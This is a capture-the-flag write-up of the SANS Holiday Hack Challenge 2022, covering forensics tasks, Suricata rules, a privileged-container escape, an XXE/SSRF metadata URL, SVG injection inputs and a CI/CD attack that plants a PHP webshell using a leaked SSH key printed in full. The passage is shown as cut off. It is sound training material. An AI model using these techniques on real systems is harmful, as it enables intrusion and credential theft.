# Holiday Hack Challenge 2022 Writeup by hamayanhamayan 日本人向け -> https://blog.hamayanhamayan.com/entry/2023/01/08/143945 I participated for the first time this year in the annual Christmas season challenge sponsored by SANS. For those of you who haven't participated, let me explain the gist of it. **Note** - Originally written in Japanese and sent automatically translated. I apologize if there are any errors in the notation. - After the deadline, I will share it in Japanese with security people in Japan. ## What is this year's Holiday Hack Challenge? ![](https://i.imgur.com/v0abaLv.png) You are invited to a mysterious world. Explore the world and solve the problems you find there by controlling your avatar. ![](https://i.imgur.com/Jxv2lWK.png) Assignments can be found by talking to people or by operating the terminal. Note that some assignments do not have a terminal and you can see and answer the questions from the menu. This year, you will be asked to complete the assignment and get the five rings. What awaits you after you get them? ## In-game currency called KringleCoins At the beginning, you will receive an address and a private key for the in-game currency. The address can be checked at any time in the first land, but the private key cannot be reacquired if forgotten, so keep it in a safe place. (But there is actually a hidden way to reacquire the private key.) In-game currency can be obtained by solving problems or opening treasure chests. You can also buy hats with in-game currency at certain places, but be careful not to spend too much because you need to use it for some problems. ## "Hint" There are many NPCs in this world besides yourself. Talking to them will give you hints for solving problems, so be proactive and talk to them. Hints can also be obtained from treasure chests. Treasure chests are hidden at the end of hidden corridors, so if you feel that the walls look a little strange, go in there and see if you can find a treasure chest. ## Objective The Objective list is up for reference. `KringleCon Orientation` is a tutorial, so the Ring system is the first step. | Group | title of a subject | degree of difficulty | | -------- | -------- | -------- | | KringleCon Orientation| Talk to Jingle Ringford | ★ | | KringleCon Orientation | Get your badge | ★ | | KringleCon Orientation | Create a wallet | ★ | | KringleCon Orientation | Use the terminal | ★ | | KringleCon Orientation | Talk to Santa | ★ | | Recover the Tolkien Ring | Wireshark Practice | ★ | | Recover the Tolkien Ring | Windows Event Logs | ★★ | | Recover the Tolkien Ring | Suricata Regatta | ★★★ | | Recover the Elfen Ring | Clone with a Difference | ★ | | Recover the Elfen Ring | Prison Escape | ★★★ | | Recover the Elfen Ring | Jolly CI/CD | ★★★★★ | | Recover the Web Ring | Naughty IP | ★ | | Recover the Web Ring | Credential Mining | ★ | | Recover the Web Ring | 404 FTW | ★ | | Recover the Web Ring | IMDS, XXE, and Other Abbreviations | ★★ | | Recover the Web Ring | Open Boria Mine Door | ★★★ | | Recover the Web Ring | Glamtariel's Fountain | ★★★★★ | | Recover the Cloud Ring | AWS CLI Intro | ★ | | Recover the Cloud Ring | Trufflehog Search | ★★ | | Recover the Cloud Ring | Exploitation via AWS CLI | ★★★ | | Recover the Burning Ring of Fire | Buy a Hat | ★★ | | Recover the Burning Ring of Fire | Blockchain Divination | ★★★★ | | Recover the Burning Ring of Fire | Exploit a Smart Contract | ★★★★★ | # Orientation ![](https://i.imgur.com/S4m0Uln.png) It starts here at first. I forgot to take the first screen, so the door is open, but not at first. Now, let's work on the assignment. ## Talk to Jingle Ringford > Difficulty: ★ > Jingle Ringford will start you on your journey! Have a conversation with Jingle Ringford and let him tell you about this world. ## Get your badge > Difficulty: ★ > Pick up your badge This can also be cleared by talking to Jingle Ringford. ## Create a wallet > Difficulty: ★ > Create a crypto wallet ![](https://i.imgur.com/70zSmTs.png) This world has its own currency. Create your own wallet to handle that currency. Don't forget your encryption key. (Absolutely!). ## Use the terminal > Difficulty: ★ > Click the computer terminal ![](https://i.imgur.com/Cvhd8ks.png) The terminal is sparkling and calling. ![](https://i.imgur.com/zpbPV3e.png) Type answer in the console above and press Enter to open the door to the next stage. ![](https://i.imgur.com/S4m0Uln.png) This is where it starts! # Meet Santa ![](https://i.imgur.com/bz2EOJ2.png) When you go to the new location, Santa welcomes you, but he seems to be in some kind of trouble. If you listen to him, you get a mission, not a present. Well, it's not Christmas yet. This place is called The North Pole. I looked at the Objectives and found that a mission had been added. ![](https://i.imgur.com/ed2WeGm.png) Lord of the Rings. Explore this place before proceeding to the mission. ## Left: Company booth ![](https://i.imgur.com/fbaWF7O.png) Speaking of Google this year, HACKING GOOGLE was a wonderful video. Thanks again this year, Google. https://www.youtube.com/watch?v=aOGFY1R4QQ4 Speaking of SANS this year, I was impressed by @yamatosecurity. My job is internal security, so I was paying a lot of attention to him because he handles event logs well and it was a domestic project. https://www.sans-japan.jp/sans_instructor_zachary_mathis ![](https://i.imgur.com/IWQ5n8L.png) Cyberus. NETWARS above was actually put in and looked like the following. ![](https://i.imgur.com/BezB0ka.png) I did something similar (maybe it was NETWARS) once, and it was a lot of fun. ### Behind the castle on the left ![](https://i.imgur.com/pArXywy.png) You can enter behind the castle from the right part of NETWARS. ![](https://i.imgur.com/OFAWAdZ.jpg) Buggy space. I think it's an easter egg. > First, you'll need to find Yukon Cornelius, and help him track down what he calls a Bumble. > Take a tooth from the Bumble an carry it deep into the Misty Mountains, and trade it with Gwairhair, Windlord of the Great Eagles, for one o his feathers. > If Gwairhair is reluctant to trade, tell him that I have sent you. > With that feather, you must scale the walls of Sombertown, and find the home of Burgermeister Meisterburger. > Take the feather, and tickle Burgermeister Meisterburger, so that he may laugh and feel joy! > Once he feels joy, he'll happily give you safe passage to the Isle of Misfit Toys... > There, you must find Dolly, and tell her that a horrible mistake has been made and she's perfectly fine... > Noy a misfit at all... > Thus, having set right one of the greatest wrongs of the Christmas season, you will have proved yourself worthy! > Then, if you come back here, I will tell you... > ...that your key is > 0xXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > Write it down, NOW, mmmmmkay? A disgruntled looking Santa finally tells me the private key to the wallet. I thought I would never get the private key again, but it appears that I can reacquire it here. ## On the right: the road leading to the ordeal ![](https://i.imgur.com/IiG1HdF.png) There are various holes on the right side, but only one can be entered. Once you enter here, you will finally proceed to the trial stage. ![](https://i.imgur.com/F1cZegW.png) It continues underground. ![](https://i.imgur.com/D75VgSY.png) Oh. There is room. ![](https://i.imgur.com/9SMSBUe.jpg) https://www.youtube.com/playlist?list=PLjLd1hNA7YVy9Xd1pRtE_TKWdzsnkHcqQ The sessions that are also in the above playlist are available to the public. By the way, you can also see them from Talks in the menu. There are quite a lot of them, so let's look at them later... Treasure chest! ![](https://i.imgur.com/Wmnyh83.png) There doesn't seem to be anything else. Let's go back. If you look for a suspicious space on the way, you will find a treasure chest if you go left in the middle of the stairs as shown below. ![](https://i.imgur.com/yBlBbsk.png) ![](https://i.imgur.com/Wt37cIA.png) ok. Proceed and you will find another room. ![](https://i.imgur.com/Q0ZhVcT.png) Tolkien Ring! The first ring has been found. Let's attack it. # Tolkien Ring ![](https://i.imgur.com/WFaSVst.png) There was a monster in the back and a long line of people. ![](https://i.imgur.com/X1uujFZ.png) There were many people, so when the setting hid the other players, three challenges became visible. ## Wireshark Practice > Difficulty: ★ > Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal. Let's open the console in question. > This all started when I clicked on a link in my email. > Can you help me? If you answer yes, you will have a problem. > 1. There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP? A pcap file is a file that contains network packet logs, and it is customary to open it with software called Wireshark. When you open the file, you will see that many logs are recorded. In this case, since I are asked to extract objects, I will use Wireshark's functions. ![](https://i.imgur.com/tgajdGK.png) in the same way as ![](https://i.imgur.com/Ohvl5Jf.png) There's a php file attached! Here it is! I answer `php` but it won't go ahead... object type? I answer `http`, correct! > 2. Wt is the file name of the largest file we can export? This is `app.php`! > 3. What packet number starts that app.php file? You can also see this from the image above. `687` > 4. What is the IP of the Apache server? When communicating with Apache, I use http to communicate, so let's filter by http. ![](https://i.imgur.com/U4IdUnz.png) The http server waits on port 80, so the answer is `192.185.57.242` waiting on port 80. > 5. What file is saved to the infected host? I will need to parse app.php. You can also download it from the Wireshark object export screen I mentioned earlier. Once you ignore the encoded part and look at what you see, you can see the filename. Line 68. > saveAs(blob1, 'Ref_Sept24-2020.zip'); `Ref_Sept24-2020.zip` is the answer. > 6. Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical other separeted by a commas (EX: Norway, South Korea). A little more reading in Wireshark shows that TLS communication is also recorded. Let's look at the response from the server side of the TLS handshake. Let's try filtering using `tls.handshake.type == 2` as the search word. ![](https://i.imgur.com/EKRjGvx.png) Let's look at the contents and see if the CountryName is written, so let's apply it to the column. Then, looking at the domains used, I extracted the suspicious country names and found that `Israel, South Sudan` was the answer. (IL -> Israel, SS -> South Sudan) > 7. Is the host infected (Yes/No)? It would be more natural to assume that a record of communications to a suspicious domain indicates that a breach has begun. ## Windows Event Logs > Difficulty: ★★ > Investigate the Windows event log mystery in the terminal or offline. Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal. Let's open the console in question. > Grinchum successfully downloaded his keylogger and has gatherd the admin credentials! > We think he used PowerShell to find the Lembanh recipe and steal our secret ingredient. > Luckily, we enabled PowerShell auditing and have exported the Windows PowerShell logs to a flat text file. > Please help me analyze this file and answer my questions. > Ready to begin? They want me to analyze PowerShell execution logs. You can use [Eric Zimmerman's tools](https://ericzimmerman.github.io/#!index.md), but for a quick analysis, let's use [hayabusa](https://github.com/Yamato- Security/hayabusa) for quick analysis. It is easy to use, just bring the binary and type `. \hayabusa-1.8.1-win-x64.exe -f powershell.evtx -o out.csv`. > 1. What month/day/year did the attack take place? For example, 09/05/2021. I looked at the logs and looked for a day when the logs seemed to be increasing and there were many logs on 14,24. When I produced `12/24/2022`, it was legitimate. On the 14th, there was a large number of `CommandInvocation(Set-StrictMode): "Set-StrictMode" ParameterBinding(Set-StrictMode): name="Version"; value="1.0"`. > 2. An attacker got a secret from a file. What was the original file's name? I'll grep it with 24 days. I want to see the execution history of the command, so let's look for it in EventID 4104. If you want to use the output of hayabusa, you can try `cat powershell.csv | grep 2022-12-24 | grep 4104 | grep ScriptBlockText`. It is recommended to format the file in a nice way to make it easier to see, but since I didn't have that much, I decided to use the event viewer from here on. Double-click on powershell.evtx and open it in the event viewer to filter and look at it as follows. ![](https://i.imgur.com/UG3beB9.png) `$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'` The original file is `Recipe`, since there is a command like this and you get a variety of things called "Recipe" with Get-Content. > 3. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full PowerShell line that performed only these actions. Find the variable that is being assigned to, filtering on EventID 4104 and looking at it, there is an assignment, and that is the answer. `$foo = Get-Content . \Recipe| % {$_ -replace 'honey', 'fish oil'}` > 4. After storing the altered file contets into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full PowerShell line that performed only this action. I found the part where the attacker was writing to a file, filtered by EventID 4104, and found the part where the attacker was writing to Add-Content, and that was the answer. `$foo | Add-Content -Path 'Recipe'` > 5. The attacker ran the previous command against one file multiple times. What is the name of this file? I thought Recipe above might be the answer, but it's not. I went back a little further and found `$foo | Add-Content -Path 'Recipe.txt'`. `Recipe.txt` is the answer. > 6. Were any files deleted? (Yes/No) In the same way, if you search for the EventID of 4104, you will find the following command Yes ``` del .\Recipe.txt del .\recipe_updated.txt ``` > 7. Was the original file (from question 2) deleted? (Yes/No) The answer to 2 is `Recipe`, so I looked for a command to turn it off, but I couldn't find any, so I went to No. > 8. What is the Event ID of the logs that show the actual command lines the attacker typed and ran? The 4104 I have been looking at is the answer. > 9. Is the secret ingredient compromised (Yes/No)? It seems to have been compromised because some kind of conversion was applied. Yes is correct. > 10. What is the secret ingredient? `$foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'}` Since it is converted like this, I guessed that the conversion source would be secret ingredient since 'honey' is converted to 'fish oil'. The answer of "honey" is correct. ## Suricata Regatta > Difficulty: ★★★ > Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints. Let's open the console in question. > First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk. > Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection. > Add your rule to suricata.rules I see...if you look in suricata.rules, there is a query for dns, so I will rewrite it for your reference. > alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:1; rev:1;) `. /rule_checker` moves, the response changes. Looks like I've moved on. > STINC thanks you for your work with that DNS record! In this PCAP, it points to 192.185.57.242. > Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP. > When there's a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection > For the second indicator, we flagged 0 packet(s), but we expected 681. Please try again! Check the requirements by looking at the pcap file given. `ip.src==192.185.57.242 || ip.dst==192.185.57.242`, I got 685 packets. The numbers are slightly different, but this is probably correct. > alert http 192.185.57.242 any <> any any (msg:"Investigate suspicious connections, possible Dridex infection";sid:2;) I was able to break through with the above when I was doing a lot of things. > We heard that some naughty actors are using TLS certificates with a specific CN. > Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya. > When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection > For the third indicator, we flagged 0 packet(s), but we expected 1. Please try again! It would be good to hook it up with TLS. > alert tls any any <> any any (msg:"Investigate bad certificates, possible Dridex infection";content:"heardbellith.Icanwepeh.nagoya";sid:3;) I was able to break through by doing the above as appropriate. > Let's watch for one line from the JavaScript: let byteCharacters = atob > Oh, and that string might be GZip compressed - I hope that's OK! > Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection > For the fourth indicator, we flagged 0 packet(s), but we expected 1. Please try again! Is it http? It doesn't seem hard to hook it up, but I need to solve the "GZip compressed" part. > alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection";file_data;content:"let byteCharacters = atob";sid:4;) It seems that adding file_data also removes GZip compressed. OK. ## If you answer all the questions correctly... ![](https://i.imgur.com/WvNyTWB.jpg) The monster is gone... I wonder where he went... Now that the ring has been safely acquired, let's move on. ![](https://i.imgur.com/ocuMhkf.png) # Elfen Ring A stage that can be seen and explored by boat. ## Clone with a Difference > Difficulty: ★ > Clone a code repository. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. It seems that if you clone the repository, you can solve it. > We just need you to clone one repo: git clone git@haugfactory.com:asnowball/aws_scripts.git If I run it as is, it asks for a public key and won't work. I read the information in the console and it seems to be public, so I changed it to https and did a git clone and was able to drop it. > $ git clone git@haugfactory.com:asnowball/aws_scripts.git I'm ready to answer the questions, and I'm going to runtoanswer them. > What's the last word in the README.md file for the aws_scripts repo? The last word of README.md, `maintainers`, is the correct answer. ## Prison Escape > Difficulty: ★★★ > Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv? The question is to promote from docker environment to host environment. I was told to get a hint, so I did. > Hint: When users are over-privileged, they can often act as root. When containers have too many permissions, they can affect the host! https://learn.snyk.io/lessons/container-runs-in-privileged-mode/kubernetes/ > Hint: Were you able to mount up? If so, users' home/ directories can be a great place to look for secrets... I guess it's booted in privileged mode. I look at `sudo -l` and see that I can do whatever I want, so I use `sudo su` to become root. If you look at `/dev`, you will see `/dev/vda`, so mount it with `mount /dev/vda /mnt` and you will see the host storage. If you look at `/mnt/home/jailer/.ssh`, you will find `jail.key.priv`, so pass the hex string written there. ``` # cat jail.key.priv Congratulations! You've found the secret for the HHC22 container escape challenge! .--._..--. ___ ( _'-_ -_.' _.-' `-._| - :- | _.-' `--...__| .-' '--..___ / `._ \ `. `._ one | `. `._ / '. `._ :__________....-----' `..`---' |-_ _- |___...----..._ |_....--' `.`. _...--' `.`. _..-' _.'.' .-' step _.'.' | _.'.' | __....------'-' | __...------''' _| '--''' |- - _ | _.-''''''''''''''''''-._ _.' |\ .' _.' | `._ closer |:.' `._ _.' | `..__ | | `---.._.--. _| | | _ - | `-.._|_.' .--...__ | - _| .'_ `--.....__ | .'_ `--..__ .'_ `. .'_ 082bb339ec19de4935867 `-. `--..____ _`. ```--...____ _..--' | - _ ```---.._.' | - _ | |_ - - | | - _ | | -_ -_| | - _ | | - _ | | -_ -_| ``` ## Jolly CI/CD > Difficulty: ★★★★★ > Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring. Boss Question. Let's go get a hint. > Hint: The thing about Git is that every step of development is accessible – even steps you didn't mean to take! git log can show code skeletons. > Hint: If you find a way to impersonate another identity, you might try re-cloning a repo with their credentials. Hmmm, let me read back the text that appears when you enter. Apparently the evil sporks have set up a webstore using the sneaky technology PHP. So they are also using CI/CD. At first, I `sudo su` to become root... but nothing. Talked to Tinsel Upatree again and he tweeted the URL. > http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git Ok. I try to git clone on terminal, but it fails when I'm root, so I don't do `sudo su` and git clone. The first Hint suggests that I should look at the edit history, so I do a `git log`. ``` ... commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:42:54 2022 -0700 whoops ``` I'm curious about the whoops thing. I'll try `git show e19f653bde9ea3de6af21a587e41e7a909db1ca5` to see what it says. ``` commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:42:54 2022 -0700 whoops diff --git a/.ssh/.deploy b/.ssh/.deploy deleted file mode 100644 index 3f7a9e3..0000000 --- a/.ssh/.deploy +++ /dev/null @@ -1,7 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5 -9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g -AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot -PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ== ------END OPENSSH PRIVATE KEY----- diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub deleted file mode 100644 index 8c0b43c..0000000 --- a/.ssh/.deploy.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com ``` The ssh key is erased. Let's set up git to use this. ``` -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5 9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ== -----END OPENSSH PRIVATE KEY----- ``` In `~/.ssh/id_rsa`, `chmod 500 ~/.ssh/id_rsa`. Then, change the connection point with `git remote set-url origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git` so that you can use it, and you're done. Let's put a webshell on the appropriate place. ``` $ echo '<?php system($_GET[0]);' > a.php $ git add -A $ git config --global user.email "you@example.com" $ git config --global user.name "Your Name" $ git commit $ git push ``` I wait a minute and do `curl http://wordpress.flag.net.internal/a.php?0=id` and it comes out good. ok. You can get the flag by exploring in this webshell as you see fit. ``` $ curl http://wordpress.flag.net.internal/a.php?0=cat%20/flag.txt Congratulations! You've found the HHC2022 Elfen Ring! ░░░░ ░░░░ ░░ ░░░░ ░░ ░░░░ ░░ ░░ ░░░░ ░░ ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒ ░░ ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░ ▓▓▓▓▓▓▓▓▒▒░░░░ ░░░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▒▒░░ ░░░░ ░░▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒░░ ░░░░ ▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░ ░░░░ ░░ ▒▒▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒ ░░▒▒▓▓▓▓░░ ░░▒▒▒▒░░░░ ░░░░▒▒ ░░▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒ ░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒ ░░ ░░▓▓▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒ ░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒ ▒▒▓▓▓▓ ▒▒░░░░░░ ░░▒▒▒▒ ░░ ░░▓▓▓▓▒▒ ▒▒░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT ░░░░░░░░ ░░▒▒▒▒▓▓ ░░░░ ▒▒▓▓▓▓ ░░░░ ░░░░░░▒▒▒▒▓▓ ░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▓▓░░░░ ░░▓▓▓▓▒▒ ░░ ░░░░▒▒▒▒▓▓▓▓ ▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░░░ ░░▓▓▓▓ ░░ ░░░░▒▒▒▒▓▓▓▓ ▓▓▒▒░░ ░░▒▒▓▓▓▓ ░░ ░░▒▒▒▒▒▒▓▓▓▓ ▓▓▒▒░░░░ ▒▒▒▒▓▓ ░░░░▒▒▒▒▒▒▓▓▓▓ ▒▒▒▒░░░░ ▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▓▓ ▓▓▒▒░░░░ ░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒▒▒▒▒ ░░ ░░░░▒▒▒▒▒▒▒▒▓▓ ▓▓▒▒░░░░ ░░░░░░░░▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒ ░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓ ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓ ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██ ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████ ░░░░░░░░▓▓██████████████████░░░░░░░░ grinchum-land:~/wordpress.flag.net.internal$ ``` ok. got the ring. ![](https://i.imgur.com/PHRwvXP.png) # Web Ring ![](https://i.imgur.com/dXYxXwQ.png) I'm good with the web and would like to solve it quickly. (FLAG) ## Naughty IP > Difficulty: ★ > Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints. Check your connection IP from Statistics>Termination in Wireshark. ![](https://i.imgur.com/CNNxuAk.png) The most common is the terminal IP that is collecting the packets, so the IP with the second most packets is suspect. When we put it out there, it is the correct answer. 18.222.86.32 ## Credential Mining > Difficulty: ★ > The first attack is a brute force login. What's the first username tried? Since this is brute-force authentication information, let's look for places where POST communication is used. Filtering by `http.request.method == "POST"` will find the relevant part. The data sent by the user is alice, so sending this is the correct answer. ## 404 FTW > Difficulty: ★ > The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack? I look at it with `(ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && http`. Then I see a 404 noticeable from about packet #23352, and logs that look like directory scanning. Looking at `((ip.src == 18.222.86.32 || ip.dst == 18.222.86.32) && http) && (http.response.code == 200)`, I see that #26774 and #27716 are returned as 200. #26771 is the corresponding packet and `/proc` is the answer. ## IMDS, XXE, and Other Abbreviations > Difficulty: ★★ > The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch? Looking at the packets, we can indeed see an XXE attack against `/proc`. They were trying to steal AWS credentials via SSRF. The URL used in the last attack is the correct answer. > http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance ## Open Boria Mine Door > Difficulty: ★★★ > Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge. Once you have completed the previous problems, you will get a lot of hints for this problem from Alabaster Snowball. > Hint: The locks take input, render some type of image, and process on the back end to unlock. To start, take a good look at the source HTML/JavaScript. > Understanding how Content-Security-Policy works can help with this challenge. > Developers use both client- and server-side input validation to keep out naughty input. You are given a puzzle. The source code seems to reveal a lot, and it does not seem to be a serious puzzle problem. **Top left PIN 1**. If you are in Chrome, right click on PIN 1 and try "View Frame Source". There's a hint in the source code. `<! -- @&@&&W&&W&&&& -->` I see. I actually used `@&@&&W&&W&&&&` and it cleared it up. **Middle Top PIN 2**. Let's look at the source code as well. `<! -- TODO: FILTER OUT HTML FROM USER INPUT -->` It looks like HTML is available. It looks like we can draw freely in SVG. You can draw a picture that covers the whole area. After a lot of work, it was cleared below. ``` <svg width="400" height="400"> <rect width="400" height="400" fill="white"> </svg> ``` **upper right PIN 3**. Source code. `<! -- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->` but you can write it in SVG as well. Note that the colors need to be matched. ``` <svg width="200" height="170"> <rect width="200" height="170" fill="blue"> </svg> ``` **RIGHT BOTTOM PIN4**. Looking at the source code, the code to sanitize has been added. However, as it says `onblur='sanitizeInput()'`, it is only triggered when the focus is lost. It can be easily bypassed by typing it in and pressing the Enter key. ``` <svg width="200" height="170"> <rect width="200" height="100" fill="white" /> <rect y="100" width="200" height="70" fill="blue" /> </svg> ``` **Middle and lower PIN5**. The source code shows that CSP has been added. `<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">` But it can be solved using the same policy as PIN4. (I think you're solving it with a non-assumed solution...) ``` <svg width="200" height="170"> <rect width="200" height="170" fill="red" /> <rect x="10" y="70" width="200" height="100" fill="blue" /> </svg> ``` **Lower left PIN6**. The source code has changed, but this is the same policy... Is the color code for `#00FF00` lime instead of green? ``` <svg width="200" height="170"> <rect width="200" height="170" fill="red" /> <rect y="100" width="190" height="100" fill="blue" /> <rect width="200" height="50" fill="lime" /> </svg> ``` The final solution is thus. ![](https://i.imgur.com/n5TWodd.png) This will allow you to move on, so go ahead and try the last problem of Web Ring. By the way, you can ride on this object. ![](https://i.imgur.com/9mAeMUw.png) ## Glamtariel's Fountain > Difficulty: ★★★★★ > Stare into Glamtariel's fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints. First, let's talk to Hal Tandybuck and get some tips. > Hint: Early parts of this challenge can be solved by focusing on Glamtariel's WORDS. > Hint: Sometimes we can hit web pages with XXE when they aren't expecting it! Start Burp Suite and try to run various web services. ![](https://i.imgur.com/NB53U8w.png) Moderately fancy looking. There are four objects in the upper right corner, which can be dragged and dropped onto the princess or the mountain to get a message. The following is sent in response to `POST /dropped`. ```json {"imgDrop":"img1","who":"none","reqType":"json"} ``` imgDrop is from img1 to img4, who is none|princess|fountain, and reqType is fixed to json. I tried various conversions from json to xml, but no luck. When I play around with the site at random, I get a scary screen for a moment. ![](https://i.imgur.com/WpETEm8.png) Something about the comment makes sense. I'm also curious about the "PATH" and the emphasis on APP... After that, the transition stops at the screen where the ring appears when 